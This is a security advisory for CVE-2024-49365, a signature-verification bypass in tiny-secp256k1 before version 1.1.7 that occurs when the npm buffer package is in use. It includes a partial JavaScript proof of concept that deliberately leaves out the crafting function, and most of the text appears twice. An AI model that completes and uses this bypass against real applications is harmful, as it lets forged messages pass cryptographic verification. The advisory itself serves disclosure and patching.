CVE-2024-49365

tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.

tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.

Summary

A malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is buffer package

Details

This affects only environments where require('buffer') is https://npmjs.com/buffer E.g.: browser bundles, React Native apps, etc.

Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as message, and those messages could trick verify() into returning false-positive true values

v2.x is unaffected as it verifies input to be an actual Uint8Array instance

Such a message can be constructed for any already known message/signature pair There are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example

https://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this

PoC

This code deliberately doesn't provide reencode for now, could be updated later

import { randomBytes } from 'crypto'
import tiny from 'tiny-secp256k1' // 1.1.6

// Random keypair
const privateKey = randomBytes(32)
const publicKey = tiny.pointFromScalar(privateKey)

const valid = Buffer.alloc(32).fill(255) // let's sign a static buffer
const signature = tiny.sign(valid, privateKey)

// Prevent processing any unverified data by fail-closed throwing
function verified(data, signature) {
  if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')
  if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')
  return new Uint8Array(data)
}

function safeProcess(payload) {
  const totally = JSON.parse(payload) // e.g. json over network

  const message = verified(totally, signature)
  console.log(message instanceof Uint8Array)
  console.log(Buffer.from(message).toString('utf8'))  
}

const payload = reencode(valid, "Secure contain protect")
safeProcess(payload)

Output (after being bundled):

true
Secure contain protect����

Impact

Malicious messages could crafted to be verified from a given known valid message/signature pair

tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.

tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.

Summary

A malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is buffer package

Details

This affects only environments where require('buffer') is https://npmjs.com/buffer E.g.: browser bundles, React Native apps, etc.

Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as message, and those messages could trick verify() into returning false-positive true values

v2.x is unaffected as it verifies input to be an actual Uint8Array instance

Such a message can be constructed for any already known message/signature pair There are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example

https://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this

PoC

This code deliberately doesn't provide reencode for now, could be updated later

import { randomBytes } from 'crypto'
import tiny from 'tiny-secp256k1' // 1.1.6

// Random keypair
const privateKey = randomBytes(32)
const publicKey = tiny.pointFromScalar(privateKey)

const valid = Buffer.alloc(32).fill(255) // let's sign a static buffer
const signature = tiny.sign(valid, privateKey)

// Prevent processing any unverified data by fail-closed throwing
function verified(data, signature) {
  if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')
  if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')
  return new Uint8Array(data)
}

function safeProcess(payload) {
  const totally = JSON.parse(payload) // e.g. json over network

  const message = verified(totally, signature)
  console.log(message instanceof Uint8Array)
  console.log(Buffer.from(message).toString('utf8'))  
}

const payload = reencode(valid, "Secure contain protect")
safeProcess(payload)

Output (after being bundled):

true
Secure contain protect����

Impact

Malicious messages could crafted to be verified from a given known valid message/signature pair